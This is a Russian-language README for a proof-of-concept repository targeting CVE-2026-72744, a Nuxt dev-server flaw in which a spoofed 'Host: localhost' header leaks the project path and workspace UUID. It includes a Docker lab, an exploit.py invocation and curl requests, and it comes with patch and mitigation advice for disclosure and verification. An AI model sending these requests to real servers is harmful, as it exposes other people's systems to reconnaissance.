
Доказательство концепции эксплуатации для CVE-2026-72744 — уязвимости раскрытия информации в конечной точке рабочей области Chrome DevTools dev-сервера Nuxt. Демонстрирует недостаток и проверяет исправление.
Этот репозиторий содержит Proof of Concept (PoC) для уязвимости утечки информации CVE-2026-72744, существующей в Chrome DevTools workspace endpoint на сервере разработки Nuxt.
Уязвимый сервер разработки определяет, является ли подключение локальным, не по TCP peer address, а по HTTP-заголовкам, таким как Host, которые может задать атакующий. Если сервер разработки привязан к 0.0.0.0, неаутентифицированный атакующий в LAN может получить абсолютный путь проекта и постоянный workspace UUID с помощью запроса с заголовком Host: localhost.
Этот PoC запускает Nuxt 4.5.0 (уязвимая версия) и 4.5.1 (исправленная версия) в Docker и отправляет одинаковые запросы со стороны хоста для проверки различий в поведении. Чтение/запись файлов и выполнение кода не выполняются.
Используйте только в образовательных целях и для разрешённых проверок безопасности. Не отправляйте запросы в сторонние среды без разрешения.
>= 4.4.7, < 4.5.1 и >= 3.21.7, < 3.21.104.5.1 / 3.21.10experimental.chromeDevtoolsProjectSettingsrootDir и специфичного для проекта workspace UUIDВ уязвимой версии isLocalDevRequest обрабатывает запрос как локальный, если Host находится в списке разрешённых и отсутствуют исходящие от браузера кросс-сайт заголовки. Не-браузерные клиенты могут свободно опускать или задавать эти заголовки, поэтому следующий запрос проходит проверку.
GET /.well-known/appspecific/com.chrome.devtools.json HTTP/1.1
Host: localhost
Исправленная версия в дополнение к существующей проверке заголовков требует, чтобы фактический TCP peer address был loopback (127.0.0.0/8 или ::1).
docker compose up -d --build
| URL | Версия | Ожидаемый результат |
|---|---|---|
http://localhost:3000 | Nuxt 4.5.0 | HTTP 200, утечка информации |
http://localhost:3001 | Nuxt 4.5.1 | HTTP 403 |
При первой сборке может потребоваться несколько минут на получение npm-пакетов.
python3 exploit.py -t http://localhost:3000 --expect vulnerable
Ожидаемый вывод:
[!] VULNERABLE: the endpoint disclosed workspace.root and workspace.uuid.
python3 exploit.py -t http://localhost:3001 --expect fixed
Ожидаемый вывод:
[+] FIXED: the non-loopback request was rejected with HTTP 403.
curl -i -H 'Host: localhost' \
http://localhost:3000/.well-known/appspecific/com.chrome.devtools.json
curl -i -H 'Host: localhost' \
http://localhost:3001/.well-known/appspecific/com.chrome.devtools.json
Поскольку запрос проходит через переадресацию портов Docker, с точки зрения контейнера источник подключения не является loopback. Это позволяет воспроизвести условия, эквивалентные атаке из LAN, на одном хосте.
docker compose down -v
exploit.py задаёт Host: localhost и обращается к целевому endpoint без отправки Origin, Referer и Sec-Fetch-Site. Уязвимость фиксируется только в том случае, если JSON с HTTP 200 содержит строки workspace.root и workspace.uuid. HTTP 403 — ожидаемое поведение для исправленной версии.
Обновите Nuxt до версии 4.5.1 или новее для 4.x и 3.21.10 или новее для 3.x. Если обновление невозможно, привяжите сервер разработки только к loopback или установите experimental.chromeDevtoolsProjectSettings: false.